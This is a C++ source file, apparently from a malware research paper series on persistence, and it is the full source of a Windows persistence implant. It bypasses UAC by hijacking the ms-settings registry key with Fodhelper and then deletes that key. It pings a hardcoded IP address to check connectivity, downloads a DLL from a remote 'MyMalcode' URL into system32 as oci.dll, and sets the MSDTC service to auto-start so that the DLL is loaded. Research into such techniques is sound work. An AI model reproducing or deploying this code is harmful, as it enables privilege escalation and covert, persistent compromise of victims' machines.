VXUG-Papers/The Persistence Series/Kusarigama/Main.cpp
2020-11-28 05:15:30 -06:00

503 lines
12 KiB
C++

#include "Peb.h"
BOOL IsOnline(VOID);
DWORD PmDownloadPhantomDll(VOID);
BOOL AmIAdmin(VOID);
DWORD UACBypass(VOID);
BOOL RegDeleteEntry(HKEY hKey);
BOOL InitMsdtcService(VOID);
INT WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
{
DWORD dwError = ERROR_SUCCESS;
PPEB Peb = (PPEB)__readgsqword(0x60);
if (Peb->OSMajorVersion < 6)
goto EXIT_ROUTINE;
if (!AmIAdmin())
{
if (UACBypass() != ERROR_SUCCESS)
goto EXIT_ROUTINE;
else
return ERROR_SUCCESS;
}
if (!IsOnline())
goto EXIT_ROUTINE;
if (PmDownloadPhantomDll() != ERROR_SUCCESS)
goto EXIT_ROUTINE;
if (!InitMsdtcService())
goto EXIT_ROUTINE;
return ERROR_SUCCESS;
EXIT_ROUTINE:
dwError = GetLastError();
return dwError;
}
BOOL InitMsdtcService(VOID)
{
DWORD dwError = ERROR_SUCCESS;
SC_HANDLE hService = NULL;
SC_HANDLE hMdtsc = NULL;
SERVICE_STATUS_PROCESS ssStatus = { 0 };
DWORD dwOldCheckPoint = ERROR_SUCCESS;
DWORD dwStartTickCount = ERROR_SUCCESS;
DWORD dwWaitTime = ERROR_SUCCESS;
LPQUERY_SERVICE_CONFIGW lpQuery = NULL;
DWORD dwDispose = ERROR_SUCCESS;
hService = OpenSCManagerW(NULL, SERVICES_ACTIVE_DATABASEW, SC_MANAGER_ALL_ACCESS);
if (hService == NULL)
goto EXIT_ROUTINE;
hMdtsc = OpenServiceW(hService, L"MSDTC", SC_MANAGER_ALL_ACCESS);
if (hMdtsc == NULL)
goto EXIT_ROUTINE;
if (!QueryServiceStatusEx(hMdtsc, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssStatus, sizeof(SERVICE_STATUS_PROCESS), &dwError))
goto EXIT_ROUTINE;
if (ssStatus.dwCurrentState != SERVICE_STOPPED && ssStatus.dwCurrentState != SERVICE_STOP_PENDING)
goto EXIT_ROUTINE;
if (ssStatus.dwCurrentState == SERVICE_STOP_PENDING)
{
dwStartTickCount = GetTickCount();
dwOldCheckPoint = ssStatus.dwCheckPoint;
}
while (ssStatus.dwCurrentState == SERVICE_STOP_PENDING)
{
dwWaitTime = ssStatus.dwWaitHint / 10;
if (dwWaitTime < 1000)
dwWaitTime = 1000;
else
dwWaitTime = 10000;
Sleep(dwWaitTime);
if (!QueryServiceStatusEx(hMdtsc, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssStatus, sizeof(SERVICE_STATUS_PROCESS), &dwError))
goto EXIT_ROUTINE;
if (ssStatus.dwCheckPoint > dwOldCheckPoint)
{
dwStartTickCount = GetTickCount();
dwOldCheckPoint = ssStatus.dwCheckPoint;
}
else
{
if (GetTickCount() - dwStartTickCount > ssStatus.dwWaitHint)
{
goto EXIT_ROUTINE;
}
}
}
dwError = ERROR_SUCCESS;
QueryServiceConfigW(hMdtsc, NULL, 0, &dwError);
lpQuery = (LPQUERY_SERVICE_CONFIGW)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwError);
if (lpQuery == NULL)
goto EXIT_ROUTINE;
dwDispose = dwError;
if (!QueryServiceConfigW(hMdtsc, lpQuery, dwDispose, &dwError))
goto EXIT_ROUTINE;
if (lpQuery->dwStartType != SERVICE_AUTO_START)
{
if (!ChangeServiceConfigW(hMdtsc,
SERVICE_NO_CHANGE,
SERVICE_AUTO_START,
SERVICE_NO_CHANGE,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL))
{
goto EXIT_ROUTINE;
}
if (!StartServiceW(hMdtsc, 0, NULL))
goto EXIT_ROUTINE;
dwError = ERROR_SUCCESS;
if (!QueryServiceStatusEx(hMdtsc, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssStatus, sizeof(SERVICE_STATUS_PROCESS), &dwError))
goto EXIT_ROUTINE;
dwStartTickCount = GetTickCount();
dwOldCheckPoint = ssStatus.dwCheckPoint;
while (ssStatus.dwCurrentState == SERVICE_START_PENDING)
{
dwWaitTime = ssStatus.dwWaitHint / 10;
if (dwWaitTime < 1000)
dwWaitTime = 1000;
else
{
if (dwWaitTime > 10000)
dwWaitTime = 10000;
}
Sleep(dwWaitTime);
if (!QueryServiceStatusEx(hMdtsc, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssStatus, sizeof(SERVICE_STATUS_PROCESS), &dwError))
goto EXIT_ROUTINE;
if (ssStatus.dwCheckPoint > dwOldCheckPoint)
{
dwStartTickCount = GetTickCount();
dwOldCheckPoint = ssStatus.dwCheckPoint;
}
else
{
if (GetTickCount() - dwStartTickCount > ssStatus.dwWaitHint)
{
break;
}
}
}
}
if (lpQuery)
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, lpQuery);
if (hMdtsc)
CloseServiceHandle(hMdtsc);
if (hService)
CloseServiceHandle(hService);
return TRUE;
EXIT_ROUTINE:
dwError = GetLastError();
if (lpQuery)
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, lpQuery);
if (hMdtsc)
CloseServiceHandle(hMdtsc);
if (hService)
CloseServiceHandle(hService);
SetLastError(dwError);
return FALSE;
}
BOOL RegDeleteEntry(HKEY hKey)
{
if (RegDeleteKeyExW(hKey, L"SOFTWARE\\Classes\\ms-settings\\shell\\open\\command\\", KEY_WOW64_64KEY, 0) != ERROR_SUCCESS)
goto EXIT_ROUTINE;
if (RegDeleteKeyExW(hKey, L"SOFTWARE\\Classes\\ms-settings\\shell\\open\\", KEY_WOW64_64KEY, 0) != ERROR_SUCCESS)
goto EXIT_ROUTINE;
if (RegDeleteKeyExW(hKey, L"SOFTWARE\\Classes\\ms-settings\\shell\\", KEY_WOW64_64KEY, 0) != ERROR_SUCCESS)
goto EXIT_ROUTINE;
if (RegDeleteKeyExW(hKey, L"SOFTWARE\\Classes\\ms-settings\\", KEY_WOW64_64KEY, 0) != ERROR_SUCCESS)
goto EXIT_ROUTINE;
return TRUE;
EXIT_ROUTINE:
return FALSE;
}
DWORD UACBypass(VOID)
{
HKEY hKey = HKEY_CURRENT_USER;
HKEY hkResult;
WCHAR pvData[WCHAR_MAXPATH] = { 0 };
WCHAR lpData[WCHAR_MAXPATH] = { 0 };
WCHAR lpApplicationName[WCHAR_MAXPATH] = L"C:\\Windows\\System32\\cmd.exe /k C:\\Windows\\System32\\Fodhelper.exe";
WCHAR lpDelegateString[WCHAR_MAXPATH] = L"DelegateExecute";
DWORD pchData = 0;
DWORD dwGetValue = 0;
DWORD dwSetValue = 0;
PROCESS_INFORMATION Pi = { 0 };
STARTUPINFOW Si = { 0 };
Si.cb = sizeof(STARTUPINFOW);
if (RegCreateKeyEx(hKey, L"SOFTWARE\\Classes\\ms-settings\\shell\\open\\command\\", 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hkResult, NULL) != ERROR_SUCCESS)
{
goto EXIT_ROUTINE;
}
if (GetModuleFileNameW(NULL, lpData, WCHAR_MAXPATH) == 0)
goto EXIT_ROUTINE;
if (RegSetKeyValueW(hkResult, NULL, NULL, REG_SZ, lpData, (DWORD)wcslen(lpData) * (DWORD)sizeof(WCHAR)) != ERROR_SUCCESS)
goto EXIT_ROUTINE;
dwGetValue = RegGetValueW(hkResult, NULL, lpDelegateString, RRF_RT_REG_SZ, NULL, pvData, &pchData);
if (dwGetValue == 2)
{
if (RegSetKeyValueW(hkResult, NULL, lpDelegateString, REG_SZ, NULL, 0) != ERROR_SUCCESS)
goto EXIT_ROUTINE;
}
if (!CreateProcessW(L"C:\\Windows\\System32\\cmd.exe",
lpApplicationName,
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE | NORMAL_PRIORITY_CLASS,
NULL,
NULL,
&Si,
&Pi))
{
goto EXIT_ROUTINE;
}
Sleep(5000);
if (!RegDeleteEntry(hKey))
goto EXIT_ROUTINE;
if (hkResult)
RegCloseKey(hkResult);
if (hKey)
RegCloseKey(hKey);
if (Pi.hProcess)
CloseHandle(Pi.hProcess);
if (Pi.hThread)
CloseHandle(Pi.hThread);
return ERROR_SUCCESS;
EXIT_ROUTINE:
DWORD dwError = GetLastError();
if (hkResult)
RegCloseKey(hkResult);
if (hKey)
RegCloseKey(hKey);
if (Pi.hProcess)
CloseHandle(Pi.hProcess);
if (Pi.hThread)
CloseHandle(Pi.hThread);
return dwError;
}
BOOL AmIAdmin(VOID)
{
BOOL AmIAdmin = FALSE;
HANDLE HToken = NULL;
TOKEN_ELEVATION Elevation = { 0 };
DWORD dwSize;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &HToken))
goto EXIT_ROUTINE;
if (!GetTokenInformation(HToken, TokenElevation, &Elevation, sizeof(Elevation), &dwSize))
goto EXIT_ROUTINE;
AmIAdmin = Elevation.TokenIsElevated;
EXIT_ROUTINE:
if (HToken)
{
CloseHandle(HToken);
HToken = NULL;
}
return AmIAdmin;
}
DWORD PmDownloadPhantomDll(VOID)
{
DWORD dwError = ERROR_SUCCESS;
HINTERNET hInternetOpen = NULL;
HINTERNET hInternetConnect = NULL;
WCHAR wLegacyAgent[MAX_PATH] = L"Mozilla/4.0 (compatible; MSIE 8.0; Win32)";
BYTE tBuffer[4096] = { 0 };
WCHAR FileCreationPath[MAX_PATH] = { 0 };
HANDLE hHandle = INVALID_HANDLE_VALUE;
DWORD dwBytesRead = 1;
hInternetOpen = InternetOpenW(wLegacyAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (hInternetOpen == NULL)
goto EXIT_ROUTINE;
hInternetConnect = InternetOpenUrlW(hInternetOpen, L"https://github.com/smellyvx/MyMalcode/raw/main/oci.dll",
NULL, 0, INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_KEEP_CONNECTION, 0);
if (hInternetConnect == NULL)
goto EXIT_ROUTINE;
if (GetEnvironmentVariableW(L"SYSTEMROOT", FileCreationPath, MAX_PATH) == 0)
goto EXIT_ROUTINE;
else
wcscat(FileCreationPath, L"\\system32\\oci.dll");
hHandle = CreateFile(FileCreationPath, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hHandle == INVALID_HANDLE_VALUE)
goto EXIT_ROUTINE;
for (; dwBytesRead > 0;)
{
DWORD dwTemp = 0;
ZeroMemory(tBuffer, 4096);
if (!InternetReadFile(hInternetConnect, tBuffer, 4096, &dwBytesRead))
goto EXIT_ROUTINE;
if (!WriteFile(hHandle, tBuffer, dwBytesRead, &dwTemp, NULL))
goto EXIT_ROUTINE;
}
if (hHandle)
CloseHandle(hHandle);
if (hInternetConnect)
InternetCloseHandle(hInternetConnect);
if (hInternetOpen)
InternetCloseHandle(hInternetOpen);
return ERROR_SUCCESS;
EXIT_ROUTINE:
dwError = GetLastError();
if (hHandle)
CloseHandle(hHandle);
if (hInternetConnect)
InternetCloseHandle(hInternetConnect);
if (hInternetOpen)
InternetCloseHandle(hInternetOpen);
return dwError;
}
BOOL IsOnline(VOID)
{
DWORD dwError = ERROR_SUCCESS;
HMODULE hLibrary = NULL;
ICMPSENDECHO IcmpSendEcho = NULL;
ICMPCREATEFILE IcmpCreateFile = NULL;
ICMPCLOSEHANDLE IcmpCloseHandle = NULL;
RTLIPV4ADDRESSTOSTRINGW RtlIpv4AddressToStringW = NULL;
ULONG uIpAddress = INADDR_NONE;
HANDLE hHandle = INVALID_HANDLE_VALUE;
HMODULE hNtdllMod = NULL;
CHAR SendData[16] = "ICMP_REQ";
DWORD dwReplySize = ERROR_SUCCESS;
LPVOID lpReplyBuffer = NULL;
WCHAR wAddress[32] = { 0 };
hLibrary = LoadLibraryW(L"Iphlpapi.dll");
if (hLibrary == NULL)
goto EXIT_ROUTINE;
hNtdllMod = GetModuleHandle(L"ntdll.dll");
if (hNtdllMod == NULL)
goto EXIT_ROUTINE;
IcmpSendEcho = (ICMPSENDECHO)GetProcAddress(hLibrary, "IcmpSendEcho");
IcmpCreateFile = (ICMPCREATEFILE)GetProcAddress(hLibrary, "IcmpCreateFile");
IcmpCloseHandle = (ICMPCLOSEHANDLE)GetProcAddress(hLibrary, "IcmpCloseHandle");
RtlIpv4AddressToStringW = (RTLIPV4ADDRESSTOSTRINGW)GetProcAddress(hNtdllMod, "RtlIpv4AddressToStringW");
if (!IcmpCreateFile || !IcmpSendEcho || !IcmpCloseHandle || !RtlIpv4AddressToStringW)
goto EXIT_ROUTINE;
uIpAddress = inet_addr("173.208.211.68");
if (uIpAddress == INADDR_NONE)
goto EXIT_ROUTINE;
hHandle = IcmpCreateFile();
if (hHandle == INVALID_HANDLE_VALUE)
goto EXIT_ROUTINE;
dwReplySize = sizeof(ICMP_ECHO_REPLY) + sizeof(SendData);
lpReplyBuffer = (LPVOID)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)dwReplySize);
if (lpReplyBuffer == NULL)
goto EXIT_ROUTINE;
dwError = IcmpSendEcho(hHandle, uIpAddress, SendData, sizeof(SendData), NULL, lpReplyBuffer, dwReplySize, 1000);
if (dwError != 0)
{
PICMP_ECHO_REPLY pEchoReply = (PICMP_ECHO_REPLY)lpReplyBuffer;
struct in_addr ReplyAddr = { 0 };
ReplyAddr.S_un.S_addr = pEchoReply->Address;
RtlIpv4AddressToStringW(&ReplyAddr, wAddress);
}
else
goto EXIT_ROUTINE;
if (wcscmp(L"173.208.211.68", wAddress) != 0)
goto EXIT_ROUTINE;
if (lpReplyBuffer)
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, lpReplyBuffer);
if (hHandle)
IcmpCloseHandle(hHandle);
if (hLibrary)
FreeLibrary(hLibrary);
return TRUE;
EXIT_ROUTINE:
dwError = GetLastError();
if (lpReplyBuffer)
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, lpReplyBuffer);
if (hHandle)
IcmpCloseHandle(hHandle);
if (hLibrary)
FreeLibrary(hLibrary);
SetLastError(dwError);
return FALSE;
}